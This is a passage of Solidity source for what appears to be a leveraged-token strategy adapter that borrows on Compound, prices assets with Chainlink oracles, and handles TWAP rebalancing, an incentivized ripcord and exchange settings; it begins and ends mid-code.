uint256 twapMaxTradeSize,
uint256 exchangeLastTradeTimestamp,
uint256 incentivizedTwapMaxTradeSize,
bytes leverExchangeData,
bytes deleverExchangeData
);
event ExchangeAdded(
string _exchangeName,
uint256 twapMaxTradeSize,
uint256 exchangeLastTradeTimestamp,
uint256 incentivizedTwapMaxTradeSize,
bytes leverExchangeData,
bytes deleverExchangeData
);
event ExchangeRemoved(
string _exchangeName
);
/* ============ Modifiers ============ */
/**
* Throws if rebalance is currently in TWAP`
*/
modifier noRebalanceInProgress() {
require(twapLeverageRatio == 0, "Rebalance is currently in progress");
_;
}
/* ============ State Variables ============ */
ContractSettings internal strategy; // Struct of contracts used in the strategy (SetToken, price oracles, leverage module etc)
MethodologySettings internal methodology; // Struct containing methodology parameters
ExecutionSettings internal execution; // Struct containing execution parameters
mapping(string => ExchangeSettings) internal exchangeSettings; // Mapping from exchange name to exchange settings
IncentiveSettings internal incentive; // Struct containing incentive parameters for ripcord
string[] public enabledExchanges; // Array containing enabled exchanges
uint256 public twapLeverageRatio; // Stored leverage ratio to keep track of target between TWAP rebalances
uint256 public globalLastTradeTimestamp; // Last rebalance timestamp. Current timestamp must be greater than this variable + rebalance interval to rebalance
/* ============ Constructor ============ */
/**
* Instantiate addresses, methodology parameters, execution parameters, and incentive parameters.
*
* @param _manager Address of IBaseManager contract
* @param _strategy Struct of contract addresses
* @param _methodology Struct containing methodology parameters
* @param _execution Struct containing execution parameters
* @param _incentive Struct containing incentive parameters for ripcord
* @param _exchangeNames List of initial exchange names
* @param _exchangeSettings List of structs containing exchange parameters for the initial exchanges
*/
constructor(
IBaseManager _manager,
ContractSettings memory _strategy,
MethodologySettings memory _methodology,
ExecutionSettings memory _execution,
IncentiveSettings memory _incentive,
string[] memory _exchangeNames,
ExchangeSettings[] memory _exchangeSettings
)
public
BaseAdapter(_manager)
{
strategy = _strategy;
methodology = _methodology;
execution = _execution;
incentive = _incentive;
for (uint256 i = 0; i < _exchangeNames.length; i++) {
_validateExchangeSettings(_exchangeSettings[i]);
exchangeSettings[_exchangeNames[i]] = _exchangeSettings[i];
enabledExchanges.push(_exchangeNames[i]);
}
_validateNonExchangeSettings(methodology, execution, incentive);
}
/* ============ External Functions ============ */
/**
* OPERATOR ONLY: Engage to target leverage ratio for the first time. SetToken will borrow debt position from Compound and trade for collateral asset. If target
* leverage ratio is above max borrow or max trade size, then TWAP is kicked off. To complete engage if TWAP, any valid caller must call iterateRebalance until target
* is met.
*
* @param _exchangeName the exchange used for trading
*/
function engage(string memory _exchangeName) external onlyOperator {
ActionInfo memory engageInfo = _createActionInfo();
require(engageInfo.setTotalSupply > 0, "SetToken must have > 0 supply");
require(engageInfo.collateralBalance > 0, "Collateral balance must be > 0");
require(engageInfo.borrowBalance == 0, "Debt must be 0");
LeverageInfo memory leverageInfo = LeverageInfo({
action: engageInfo,
currentLeverageRatio: PreciseUnitMath.preciseUnit(), // 1x leverage in precise units
slippageTolerance: execution.slippageTolerance,
twapMaxTradeSize: exchangeSettings[_exchangeName].twapMaxTradeSize,
exchangeName: _exchangeName
});
// Calculate total rebalance units and kick off TWAP if above max borrow or max trade size
(
uint256 chunkRebalanceNotional,
uint256 totalRebalanceNotional
) = _calculateChunkRebalanceNotional(leverageInfo, methodology.targetLeverageRatio, true);
_lever(leverageInfo, chunkRebalanceNotional);
_updateRebalanceState(
chunkRebalanceNotional,
totalRebalanceNotional,
methodology.targetLeverageRatio,
_exchangeName
);
emit Engaged(
leverageInfo.currentLeverageRatio,
methodology.targetLeverageRatio,
chunkRebalanceNotional,
totalRebalanceNotional
);
}
/**
* ONLY EOA AND ALLOWED CALLER: Rebalance according to flexible leverage methodology. If current leverage ratio is between the max and min bounds, then rebalance
* can only be called once the rebalance interval has elapsed since last timestamp. If outside the max and min, rebalance can be called anytime to bring leverage
* ratio back to the max or min bounds. The methodology will determine whether to delever or lever.
*
* Note: If the calculated current leverage ratio is above the incentivized leverage ratio or in TWAP then rebalance cannot be called. Instead, you must call
* ripcord() which is incentivized with a reward in Ether or iterateRebalance().
*
* @param _exchangeName the exchange used for trading
*/
function rebalance(string memory _exchangeName) external onlyEOA onlyAllowedCaller(msg.sender) {
LeverageInfo memory leverageInfo = _getAndValidateLeveragedInfo(
execution.slippageTolerance,
exchangeSettings[_exchangeName].twapMaxTradeSize,
_exchangeName
);
// use globalLastTradeTimestamps to prevent multiple rebalances being called with different exchanges during the epoch rebalance
_validateNormalRebalance(leverageInfo, methodology.rebalanceInterval, globalLastTradeTimestamp);
_validateNonTWAP();
uint256 newLeverageRatio = _calculateNewLeverageRatio(leverageInfo.currentLeverageRatio);
(
uint256 chunkRebalanceNotional,
uint256 totalRebalanceNotional
) = _handleRebalance(leverageInfo, newLeverageRatio);
_updateRebalanceState(chunkRebalanceNotional, totalRebalanceNotional, newLeverageRatio, _exchangeName);
emit Rebalanced(
leverageInfo.currentLeverageRatio,
newLeverageRatio,
chunkRebalanceNotional,
totalRebalanceNotional
);
}
/**
* ONLY EOA AND ALLOWED CALLER: Iterate a rebalance when in TWAP. TWAP cooldown period must have elapsed. If price moves advantageously, then exit without rebalancing
* and clear TWAP state. This function can only be called when below incentivized leverage ratio and in TWAP state.
*
* @param _exchangeName the exchange used for trading
*/
function iterateRebalance(string memory _exchangeName) external onlyEOA onlyAllowedCaller(msg.sender) {
LeverageInfo memory leverageInfo = _getAndValidateLeveragedInfo(
execution.slippageTolerance,
exchangeSettings[_exchangeName].twapMaxTradeSize,
_exchangeName
);
// Use the exchangeLastTradeTimestamp since cooldown periods are measured on a per-exchange basis, allowing it to rebalance multiple time in quick
// succession with different exchanges
_validateNormalRebalance(leverageInfo, execution.twapCooldownPeriod, exchangeSettings[_exchangeName].exchangeLastTradeTimestamp);
_validateTWAP();
uint256 chunkRebalanceNotional;
uint256 totalRebalanceNotional;
if (!_isAdvantageousTWAP(leverageInfo.currentLeverageRatio)) {
(chunkRebalanceNotional, totalRebalanceNotional) = _handleRebalance(leverageInfo, twapLeverageRatio);
}
// If not advantageous, then rebalance is skipped and chunk and total rebalance notional are both 0, which means TWAP state is
// cleared
_updateIterateState(chunkRebalanceNotional, totalRebalanceNotional, _exchangeName);
emit RebalanceIterated(
leverageInfo.currentLeverageRatio,
twapLeverageRatio,
chunkRebalanceNotional,
totalRebalanceNotional
);
}
/**
* ONLY EOA: In case the current leverage ratio exceeds the incentivized leverage threshold, the ripcord function can be called by anyone to return leverage ratio
* back to the max leverage ratio. This function typically would only be called during times of high downside volatility and / or normal keeper malfunctions. The caller
* of ripcord() will receive a reward in Ether. The ripcord function uses it's own TWAP cooldown period, slippage tolerance and TWAP max trade size which are typically
* looser than in regular rebalances.
*
* @param _exchangeName the exchange used for trading
*/
function ripcord(string memory _exchangeName) external onlyEOA {
LeverageInfo memory leverageInfo = _getAndValidateLeveragedInfo(
incentive.incentivizedSlippageTolerance,
exchangeSettings[_exchangeName].incentivizedTwapMaxTradeSize,
_exchangeName
);
// Use the exchangeLastTradeTimestamp so it can ripcord quickly with multiple exchanges
_validateRipcord(leverageInfo, exchangeSettings[_exchangeName].exchangeLastTradeTimestamp);
( uint256 chunkRebalanceNotional, ) = _calculateChunkRebalanceNotional(leverageInfo, methodology.maxLeverageRatio, false);
_delever(leverageInfo, chunkRebalanceNotional);
_updateRipcordState(_exchangeName);
uint256 etherTransferred = _transferEtherRewardToCaller(incentive.etherReward);
emit RipcordCalled(
leverageInfo.currentLeverageRatio,
methodology.maxLeverageRatio,
chunkRebalanceNotional,
etherTransferred
);
}
/**
* OPERATOR ONLY: Return leverage ratio to 1x and delever to repay loan. This can be used for upgrading or shutting down the strategy. SetToken will redeem
* collateral position and trade for debt position to repay Compound. If the chunk rebalance size is less than the total notional size, then this function will
* delever and repay entire borrow balance on Compound. If chunk rebalance size is above max borrow or max trade size, then operator must
* continue to call this function to complete repayment of loan. The function iterateRebalance will not work.
*
* Note: Delever to 0 will likely result in additional units of the borrow asset added as equity on the SetToken due to oracle price / market price mismatch
*
* @param _exchangeName the exchange used for trading
*/
function disengage(string memory _exchangeName) external onlyOperator {
LeverageInfo memory leverageInfo = _getAndValidateLeveragedInfo(
execution.slippageTolerance,
exchangeSettings[_exchangeName].twapMaxTradeSize,
_exchangeName
);
uint256 newLeverageRatio = PreciseUnitMath.preciseUnit();
(
uint256 chunkRebalanceNotional,
uint256 totalRebalanceNotional
) = _calculateChunkRebalanceNotional(leverageInfo, newLeverageRatio, false);
if (totalRebalanceNotional > chunkRebalanceNotional) {
_delever(leverageInfo, chunkRebalanceNotional);
} else {
_deleverToZeroBorrowBalance(leverageInfo, totalRebalanceNotional);
}
emit Disengaged(
leverageInfo.currentLeverageRatio,
newLeverageRatio,
chunkRebalanceNotional,
totalRebalanceNotional
);
}
/**
* OPERATOR ONLY: Set methodology settings and check new settings are valid. Note: Need to pass in existing parameters if only changing a few settings. Must not be
* in a rebalance.
*
* @param _newMethodologySettings Struct containing methodology parameters
*/
function setMethodologySettings(MethodologySettings memory _newMethodologySettings) external onlyOperator noRebalanceInProgress {
methodology = _newMethodologySettings;
_validateNonExchangeSettings(methodology, execution, incentive);
emit MethodologySettingsUpdated(
methodology.targetLeverageRatio,
methodology.minLeverageRatio,
methodology.maxLeverageRatio,
methodology.recenteringSpeed,
methodology.rebalanceInterval
);
}
/**
* OPERATOR ONLY: Set execution settings and check new settings are valid. Note: Need to pass in existing parameters if only changing a few settings. Must not be
* in a rebalance.
*
* @param _newExecutionSettings Struct containing execution parameters
*/
function setExecutionSettings(ExecutionSettings memory _newExecutionSettings) external onlyOperator noRebalanceInProgress {
execution = _newExecutionSettings;
_validateNonExchangeSettings(methodology, execution, incentive);
emit ExecutionSettingsUpdated(
execution.unutilizedLeveragePercentage,
execution.twapCooldownPeriod,
execution.slippageTolerance
);
}
/**
* OPERATOR ONLY: Set incentive settings and check new settings are valid. Note: Need to pass in existing parameters if only changing a few settings. Must not be
* in a rebalance.
*
* @param _newIncentiveSettings Struct containing incentive parameters
*/
function setIncentiveSettings(IncentiveSettings memory _newIncentiveSettings) external onlyOperator noRebalanceInProgress {
incentive = _newIncentiveSettings;
_validateNonExchangeSettings(methodology, execution, incentive);
emit IncentiveSettingsUpdated(
incentive.etherReward,
incentive.incentivizedLeverageRatio,
incentive.incentivizedSlippageTolerance,
incentive.incentivizedTwapCooldownPeriod
);
}
/**
* OPERATOR ONLY: Add a new enabled exchange for trading during rebalances. New exchanges will have their exchangeLastTradeTimestamp set to 0. Adding
* exchanges during rebalances is allowed, as it is not possible to enter an unexpected state while doing so.
*
* @param _exchangeName Name of the exchange
* @param _exchangeSettings Struct containing exchange parameters
*/
function addEnabledExchange(
string memory _exchangeName,
ExchangeSettings memory _exchangeSettings
)
external
onlyOperator
{
require(exchangeSettings[_exchangeName].twapMaxTradeSize == 0, "Exchange already enabled");
_validateExchangeSettings(_exchangeSettings);
exchangeSettings[_exchangeName].twapMaxTradeSize = _exchangeSettings.twapMaxTradeSize;
exchangeSettings[_exchangeName].incentivizedTwapMaxTradeSize = _exchangeSettings.incentivizedTwapMaxTradeSize;
exchangeSettings[_exchangeName].leverExchangeData = _exchangeSettings.leverExchangeData;
exchangeSettings[_exchangeName].deleverExchangeData = _exchangeSettings.deleverExchangeData;
exchangeSettings[_exchangeName].exchangeLastTradeTimestamp = 0;
enabledExchanges.push(_exchangeName);
emit ExchangeAdded(
_exchangeName,
_exchangeSettings.twapMaxTradeSize,
_exchangeSettings.exchangeLastTradeTimestamp,
_exchangeSettings.incentivizedTwapMaxTradeSize,
_exchangeSettings.leverExchangeData,
_exchangeSettings.deleverExchangeData
);
}
/**
* OPERATOR ONLY: Removes an exchange. Reverts if the exchange is not already enabled. Removing exchanges during rebalances is allowed,
* as it is not possible to enter an unexpected state while doing so.
*
* @param _exchangeName Name of exchange to remove
*/
function removeEnabledExchange(string memory _exchangeName) external onlyOperator {
require(exchangeSettings[_exchangeName].twapMaxTradeSize != 0, "Exchange not enabled");
delete exchangeSettings[_exchangeName];
enabledExchanges.removeStorage(_exchangeName);
emit ExchangeRemoved(_exchangeName);
}
/**
* OPERATOR ONLY: Updates the settings of an exchange. Reverts if exchange is not already added. When updating an exchange, exchangeLastTradeTimestamp
* is preserved. Updating exchanges during rebalances is allowed, as it is not possible to enter an unexpected state while doing so. Note: Need to
* pass in all existing parameters even if only changing a few settings.
*
* @param _exchangeName Name of the exchange
* @param _exchangeSettings Struct containing exchange parameters
*/
function updateEnabledExchange(
string memory _exchangeName,
ExchangeSettings memory _exchangeSettings
)
external
onlyOperator
{
require(exchangeSettings[_exchangeName].twapMaxTradeSize != 0, "Exchange not enabled");
_validateExchangeSettings(_exchangeSettings);
exchangeSettings[_exchangeName].twapMaxTradeSize = _exchangeSettings.twapMaxTradeSize;
exchangeSettings[_exchangeName].incentivizedTwapMaxTradeSize = _exchangeSettings.incentivizedTwapMaxTradeSize;
exchangeSettings[_exchangeName].leverExchangeData = _exchangeSettings.leverExchangeData;
exchangeSettings[_exchangeName].deleverExchangeData = _exchangeSettings.deleverExchangeData;
emit ExchangeUpdated(
_exchangeName,
_exchangeSettings.twapMaxTradeSize,
_exchangeSettings.exchangeLastTradeTimestamp,
_exchangeSettings.incentivizedTwapMaxTradeSize,
_exchangeSettings.leverExchangeData,
_exchangeSettings.deleverExchangeData
);
}
/**
* OPERATOR ONLY: Withdraw entire balance of ETH in this contract to operator. Rebalance must not be in progress
*/
function withdrawEtherBalance() external onlyOperator noRebalanceInProgress {
msg.sender.transfer(address(this).balance);
}
receive() external payable {}
/* ============ External Getter Functions ============ */
/**
* Get current leverage ratio. Current leverage ratio is defined as the USD value of the collateral divided by the USD value of the SetToken. Prices for collateral
* and borrow asset are retrieved from the Compound Price Oracle.
*
* return currentLeverageRatio Current leverage ratio in precise units (10e18)
*/
function getCurrentLeverageRatio() public view returns(uint256) {
ActionInfo memory currentLeverageInfo = _createActionInfo();
return _calculateCurrentLeverageRatio(currentLeverageInfo.collateralValue, currentLeverageInfo.borrowValue);
}
/**
* Calculates the chunk rebalance size. This can be used by external contracts and keeper bots to calculate the optimal exchange to rebalance with.
* Note: this function does not take into account timestamps, so it may return a nonzero value even when shouldRebalance would return ShouldRebalance.NONE for
* all exchanges (since minimum delays have not elapsed)
*
* @param _exchangeNames Array of exchange names to get rebalance sizes for
*
* @return sizes Array of total notional chunk size. Measured in the asset that would be sold
* @return sellAsset Asset that would be sold during a rebalance
* @return buyAsset Asset that would be purchased during a rebalance
*/
function getChunkRebalanceNotional(
string[] calldata _exchangeNames
)
external
view
returns(uint256[] memory sizes, address sellAsset, address buyAsset)
{
uint256 newLeverageRatio;
uint256 currentLeverageRatio = getCurrentLeverageRatio();
bool isRipcord = false;
// if over incentivized leverage ratio, always ripcord
if (currentLeverageRatio > incentive.incentivizedLeverageRatio) {
newLeverageRatio = methodology.maxLeverageRatio;
isRipcord = true;
// if we are in an ongoing twap, use the cached twapLeverageRatio as our target leverage
} else if (twapLeverageRatio > 0) {
newLeverageRatio = twapLeverageRatio;
// if all else is false, then we would just use the normal rebalance new leverage ratio calculation
} else {
newLeverageRatio = _calculateNewLeverageRatio(currentLeverageRatio);
}
ActionInfo memory actionInfo = _createActionInfo();
bool isLever = newLeverageRatio > currentLeverageRatio;
sizes = new uint256[](_exchangeNames.length);
for (uint256 i = 0; i < _exchangeNames.length; i++) {
LeverageInfo memory leverageInfo = LeverageInfo({
action: actionInfo,
currentLeverageRatio: currentLeverageRatio,
slippageTolerance: isRipcord ? incentive.incentivizedSlippageTolerance : execution.slippageTolerance,
twapMaxTradeSize: isRipcord ?
exchangeSettings[_exchangeNames[i]].incentivizedTwapMaxTradeSize :
exchangeSettings[_exchangeNames[i]].twapMaxTradeSize,
exchangeName: _exchangeNames[i]
});
(uint256 collateralNotional, ) = _calculateChunkRebalanceNotional(leverageInfo, newLeverageRatio, isLever);
// _calculateBorrowUnits can convert both unit and notional values
sizes[i] = isLever ? _calculateBorrowUnits(collateralNotional, leverageInfo.action) : collateralNotional;
}
sellAsset = isLever ? strategy.borrowAsset : strategy.collateralAsset;
buyAsset = isLever ? strategy.collateralAsset : strategy.borrowAsset;
}
/**
* Get current Ether incentive for when current leverage ratio exceeds incentivized leverage ratio and ripcord can be called. If ETH balance on the contract is
* below the etherReward, then return the balance of ETH instead.
*
* return etherReward Quantity of ETH reward in base units (10e18)
*/
function getCurrentEtherIncentive() external view returns(uint256) {
uint256 currentLeverageRatio = getCurrentLeverageRatio();
if (currentLeverageRatio >= incentive.incentivizedLeverageRatio) {
// If ETH reward is below the balance on this contract, then return ETH balance on contract instead
return incentive.etherReward < address(this).balance ? incentive.etherReward : address(this).balance;
} else {
return 0;
}
}
/**
* Helper that checks if conditions are met for rebalance or ripcord. Returns an enum with 0 = no rebalance, 1 = call rebalance(), 2 = call iterateRebalance()
* 3 = call ripcord()
*
* @return (string[] memory, ShouldRebalance[] memory) List of exchange names and a list of enums representing whether that exchange should rebalance
*/
function shouldRebalance() external view returns(string[] memory, ShouldRebalance[] memory) {
uint256 currentLeverageRatio = getCurrentLeverageRatio();
return _shouldRebalance(currentLeverageRatio, methodology.minLeverageRatio, methodology.maxLeverageRatio);
}
/**
* Helper that checks if conditions are met for rebalance or ripcord with custom max and min bounds specified by caller. This function simplifies the
* logic for off-chain keeper bots to determine what threshold to call rebalance when leverage exceeds max or drops below min. Returns an enum with
* 0 = no rebalance, 1 = call rebalance(), 2 = call iterateRebalance()3 = call ripcord()
*
* @param _customMinLeverageRatio Min leverage ratio passed in by caller
* @param _customMaxLeverageRatio Max leverage ratio passed in by caller
*
* @return (string[] memory, ShouldRebalance[] memory) List of exchange names and a list of enums representing whether that exchange should rebalance
*/
function shouldRebalanceWithBounds(
uint256 _customMinLeverageRatio,
uint256 _customMaxLeverageRatio
)
external
view
returns(string[] memory, ShouldRebalance[] memory)
{
require (
_customMinLeverageRatio <= methodology.minLeverageRatio && _customMaxLeverageRatio >= methodology.maxLeverageRatio,
"Custom bounds must be valid"
);
uint256 currentLeverageRatio = getCurrentLeverageRatio();
return _shouldRebalance(currentLeverageRatio, _customMinLeverageRatio, _customMaxLeverageRatio);
}
/**
* Gets the list of enabled exchanges
*/
function getEnabledExchanges() external view returns (string[] memory) {
return enabledExchanges;
}
/**
* Explicit getter functions for parameter structs are defined as workaround to issues fetching structs that have dynamic types.
*/
function getStrategy() external view returns (ContractSettings memory) { return strategy; }
function getMethodology() external view returns (MethodologySettings memory) { return methodology; }
function getExecution() external view returns (ExecutionSettings memory) { return execution; }
function getIncentive() external view returns (IncentiveSettings memory) { return incentive; }
function getExchangeSettings(string memory _exchangeName) external view returns (ExchangeSettings memory) {
return exchangeSettings[_exchangeName];
}
/* ============ Internal Functions ============ */
/**
* Calculate notional rebalance quantity, whether to chunk rebalance based on max trade size and max borrow and invoke lever on CompoundLeverageModule
*
*/
function _lever(
LeverageInfo memory _leverageInfo,
uint256 _chunkRebalanceNotional
)
internal
{
uint256 collateralRebalanceUnits = _chunkRebalanceNotional.preciseDiv(_leverageInfo.action.setTotalSupply);
uint256 borrowUnits = _calculateBorrowUnits(collateralRebalanceUnits, _leverageInfo.action);
uint256 minReceiveCollateralUnits = _calculateMinCollateralReceiveUnits(collateralRebalanceUnits, _leverageInfo.slippageTolerance);
bytes memory leverCallData = abi.encodeWithSignature(
"lever(address,address,address,uint256,uint256,string,bytes)",
address(strategy.setToken),
strategy.borrowAsset,
strategy.collateralAsset,
borrowUnits,
minReceiveCollateralUnits,
_leverageInfo.exchangeName,
exchangeSettings[_leverageInfo.exchangeName].leverExchangeData
);
invokeManager(address(strategy.leverageModule), leverCallData);
}
/**
* Calculate delever units Invoke delever on CompoundLeverageModule.
*/
function _delever(
LeverageInfo memory _leverageInfo,
uint256 _chunkRebalanceNotional
)
internal
{
uint256 collateralRebalanceUnits = _chunkRebalanceNotional.preciseDiv(_leverageInfo.action.setTotalSupply);
uint256 minRepayUnits = _calculateMinRepayUnits(collateralRebalanceUnits, _leverageInfo.slippageTolerance, _leverageInfo.action);
bytes memory deleverCallData = abi.encodeWithSignature(
"delever(address,address,address,uint256,uint256,string,bytes)",
address(strategy.setToken),
strategy.collateralAsset,
strategy.borrowAsset,
collateralRebalanceUnits,
minRepayUnits,
_leverageInfo.exchangeName,
exchangeSettings[_leverageInfo.exchangeName].deleverExchangeData
);
invokeManager(address(strategy.leverageModule), deleverCallData);
}
/**
* Invoke deleverToZeroBorrowBalance on CompoundLeverageModule.
*/
function _deleverToZeroBorrowBalance(
LeverageInfo memory _leverageInfo,
uint256 _chunkRebalanceNotional
)
internal
{
// Account for slippage tolerance in redeem quantity for the deleverToZeroBorrowBalance function
uint256 maxCollateralRebalanceUnits = _chunkRebalanceNotional
.preciseMul(PreciseUnitMath.preciseUnit().add(execution.slippageTolerance))
.preciseDiv(_leverageInfo.action.setTotalSupply);
bytes memory deleverToZeroBorrowBalanceCallData = abi.encodeWithSignature(
"deleverToZeroBorrowBalance(address,address,address,uint256,string,bytes)",
address(strategy.setToken),
strategy.collateralAsset,
strategy.borrowAsset,
maxCollateralRebalanceUnits,
_leverageInfo.exchangeName,
exchangeSettings[_leverageInfo.exchangeName].deleverExchangeData
);
invokeManager(address(strategy.leverageModule), deleverToZeroBorrowBalanceCallData);
}
/**
* Check whether to delever or lever based on the current vs new leverage ratios. Used in the rebalance() and iterateRebalance() functions
*
* return uint256 Calculated notional to trade
* return uint256 Total notional to rebalance over TWAP
*/
function _handleRebalance(LeverageInfo memory _leverageInfo, uint256 _newLeverageRatio) internal returns(uint256, uint256) {
uint256 chunkRebalanceNotional;
uint256 totalRebalanceNotional;
if (_newLeverageRatio < _leverageInfo.currentLeverageRatio) {
(
chunkRebalanceNotional,
totalRebalanceNotional
) = _calculateChunkRebalanceNotional(_leverageInfo, _newLeverageRatio, false);
_delever(_leverageInfo, chunkRebalanceNotional);
} else {
(
chunkRebalanceNotional,
totalRebalanceNotional
) = _calculateChunkRebalanceNotional(_leverageInfo, _newLeverageRatio, true);
_lever(_leverageInfo, chunkRebalanceNotional);
}
return (chunkRebalanceNotional, totalRebalanceNotional);
}
/**
* Create the leverage info struct to be used in internal functions
*
* return LeverageInfo Struct containing ActionInfo and other data
*/
function _getAndValidateLeveragedInfo(uint256 _slippageTolerance, uint256 _maxTradeSize, string memory _exchangeName) internal view returns(LeverageInfo memory) {
// Assume if maxTradeSize is 0, then the exchange is not enabled. This is enforced by addEnabledExchange and updateEnabledExchange
require(_maxTradeSize > 0, "Must be valid exchange");
ActionInfo memory actionInfo = _createActionInfo();
require(actionInfo.setTotalSupply > 0, "SetToken must have > 0 supply");
require(actionInfo.collateralBalance > 0, "Collateral balance must be > 0");
require(actionInfo.borrowBalance > 0, "Borrow balance must exist");
// Get current leverage ratio
uint256 currentLeverageRatio = _calculateCurrentLeverageRatio(
actionInfo.collateralValue,
actionInfo.borrowValue
);
return LeverageInfo({
action: actionInfo,
currentLeverageRatio: currentLeverageRatio,
slippageTolerance: _slippageTolerance,
twapMaxTradeSize: _maxTradeSize,
exchangeName: _exchangeName
});
}
/**
* Create the action info struct to be used in internal functions
*
* return ActionInfo Struct containing data used by internal lever and delever functions
*/
function _createActionInfo() internal view returns(ActionInfo memory) {
ActionInfo memory rebalanceInfo;
// Calculate prices from chainlink. Adjusts decimals to be in line with Compound's oracles. Chainlink returns prices with 8 decimal places, but
// compound expects 36 - underlyingDecimals decimal places from their oracles. This is so that when the underlying amount is multiplied by the
// received price, the collateral valuation is normalized to 36 decimals. To perform this adjustment, we multiply by 10^(36 - 8 - underlyingDeciamls)
int256 rawCollateralPrice = strategy.collateralPriceOracle.latestAnswer();
rebalanceInfo.collateralPrice = rawCollateralPrice.toUint256().mul(10 ** strategy.collateralDecimalAdjustment);
int256 rawBorrowPrice = strategy.borrowPriceOracle.latestAnswer();
rebalanceInfo.borrowPrice = rawBorrowPrice.toUint256().mul(10 ** strategy.borrowDecimalAdjustment);
// Calculate stored exchange rate which does not trigger a state update
uint256 cTokenBalance = strategy.targetCollateralCToken.balanceOf(address(strategy.setToken));
rebalanceInfo.collateralBalance = cTokenBalance.preciseMul(strategy.targetCollateralCToken.exchangeRateStored());
rebalanceInfo.borrowBalance = strategy.targetBorrowCToken.borrowBalanceStored(address(strategy.setToken));
rebalanceInfo.collateralValue = rebalanceInfo.collateralPrice.preciseMul(rebalanceInfo.collateralBalance);
rebalanceInfo.borrowValue = rebalanceInfo.borrowPrice.preciseMul(rebalanceInfo.borrowBalance);
rebalanceInfo.setTotalSupply = strategy.setToken.totalSupply();
return rebalanceInfo;
}
/**
* Validate non-exchange settings in constructor and setters when updating.
*/
function _validateNonExchangeSettings(
MethodologySettings memory _methodology,
ExecutionSettings memory _execution,
IncentiveSettings memory _incentive
)
internal
pure
{
require (
_methodology.minLeverageRatio <= _methodology.targetLeverageRatio && _methodology.minLeverageRatio > 0,
"Must be valid min leverage"
);
require (
_methodology.maxLeverageRatio >= _methodology.targetLeverageRatio,
"Must be valid max leverage"
);
require (
_methodology.recenteringSpeed <= PreciseUnitMath.preciseUnit() && _methodology.recenteringSpeed > 0,
"Must be valid recentering speed"
);
require (
_execution.unutilizedLeveragePercentage <= PreciseUnitMath.preciseUnit(),
"Unutilized leverage must be <100%"
);
require (
_execution.slippageTolerance <= PreciseUnitMath.preciseUnit(),
"Slippage tolerance must be <100%"
);
require (
_incentive.incentivizedSlippageTolerance <= PreciseUnitMath.preciseUnit(),
"Incentivized slippage tolerance must be <100%"
);
require (
_incentive.incentivizedLeverageRatio >= _methodology.maxLeverageRatio,
"Incentivized leverage ratio must be > max leverage ratio"
);
require (
_methodology.rebalanceInterval >= _execution.twapCooldownPeriod,
"Rebalance interval must be greater than TWAP cooldown period"
);
require (
_execution.twapCooldownPeriod >= _incentive.incentivizedTwapCooldownPeriod,
"TWAP cooldown must be greater than incentivized TWAP cooldown"
);
}
/**
* Validate an ExchangeSettings struct when adding or updating an exchange. Does not validate that twapMaxTradeSize < incentivizedMaxTradeSize since
* it may be useful to disable exchanges for ripcord by setting incentivizedMaxTradeSize to 0.
*/
function _validateExchangeSettings(ExchangeSettings memory _settings) internal pure {
require(_settings.twapMaxTradeSize != 0, "Max TWAP trade size must not be 0");
}
/**
* Validate that current leverage is below incentivized leverage ratio and cooldown / rebalance period has elapsed or outsize max/min bounds. Used
* in rebalance() and iterateRebalance() functions
*/
function _validateNormalRebalance(LeverageInfo memory _leverageInfo, uint256 _coolDown, uint256 _lastTradeTimestamp) internal view {
require(_leverageInfo.currentLeverageRatio < incentive.incentivizedLeverageRatio, "Must be below incentivized leverage ratio");
require(
block.timestamp.sub(_lastTradeTimestamp) > _coolDown
|| _leverageInfo.currentLeverageRatio > methodology.maxLeverageRatio
|| _leverageInfo.currentLeverageRatio < methodology.minLeverageRatio,
"Cooldown not elapsed or not valid leverage ratio"
);
}
/**
* Validate that current leverage is above incentivized leverage ratio and incentivized cooldown period has elapsed in ripcord()
*/
function _validateRipcord(LeverageInfo memory _leverageInfo, uint256 _lastTradeTimestamp) internal view {
require(_leverageInfo.currentLeverageRatio >= incentive.incentivizedLeverageRatio, "Must be above incentivized leverage ratio");
// If currently in the midst of a TWAP rebalance, ensure that the cooldown period has elapsed
require(_lastTradeTimestamp.add(incentive.incentivizedTwapCooldownPeriod) < block.timestamp, "TWAP cooldown must have elapsed");
}
/**
* Validate TWAP in the iterateRebalance() function
*/
function _validateTWAP() internal view {
require(twapLeverageRatio > 0, "Not in TWAP state");
}
/**
* Validate not TWAP in the rebalance() function
*/
function _validateNonTWAP() internal view {
require(twapLeverageRatio == 0, "Must call iterate");
}
/**
* Check if price has moved advantageously while in the midst of the TWAP rebalance. This means the current leverage ratio has moved over/under
* the stored TWAP leverage ratio on lever/delever so there is no need to execute a rebalance. Used in iterateRebalance()
*/
function _isAdvantageousTWAP(uint256 _currentLeverageRatio) internal view returns (bool) {
return (
(twapLeverageRatio < methodology.targetLeverageRatio && _currentLeverageRatio >= twapLeverageRatio)
|| (twapLeverageRatio > methodology.targetLeverageRatio && _currentLeverageRatio <= twapLeverageRatio)
);
}
/**
* Calculate the current leverage ratio given a valuation of the collateral and borrow asset, which is calculated as collateral USD valuation / SetToken USD valuation
*
* return uint256 Current leverage ratio
*/
function _calculateCurrentLeverageRatio(
uint256 _collateralValue,
uint256 _borrowValue
)
internal
pure
returns(uint256)
{
return _collateralValue.preciseDiv(_collateralValue.sub(_borrowValue));
}
/**
* Calculate the new leverage ratio using the flexible leverage methodology. The methodology reduces the size of each rebalance by weighting
* the current leverage ratio against the target leverage ratio by the recentering speed percentage. The lower the recentering speed, the slower
* the leverage token will move towards the target leverage each rebalance.
*
* return uint256 New leverage ratio based on the flexible leverage methodology
*/
function _calculateNewLeverageRatio(uint256 _currentLeverageRatio) internal view returns(uint256) {
// CLRt+1 = max(MINLR, min(MAXLR, CLRt * (1 - RS) + TLR * RS))
// a: TLR * RS
// b: (1- RS) * CLRt
// c: (1- RS) * CLRt + TLR * RS
// d: min(MAXLR, CLRt * (1 - RS) + TLR * RS)
uint256 a = methodology.targetLeverageRatio.preciseMul(methodology.recenteringSpeed);
uint256 b = PreciseUnitMath.preciseUnit().sub(methodology.recenteringSpeed).preciseMul(_currentLeverageRatio);
uint256 c = a.add(b);
uint256 d = Math.min(c, methodology.maxLeverageRatio);
return Math.max(methodology.minLeverageRatio, d);
}
/**
* Calculate total notional rebalance quantity and chunked rebalance quantity in collateral units.
*
* return uint256 Chunked rebalance notional in collateral units
* return uint256 Total rebalance notional in collateral units
*/
function _calculateChunkRebalanceNotional(
LeverageInfo memory _leverageInfo,
uint256 _newLeverageRatio,
bool _isLever
)
internal
view
returns (uint256, uint256)
{
// Calculate absolute value of difference between new and current leverage ratio
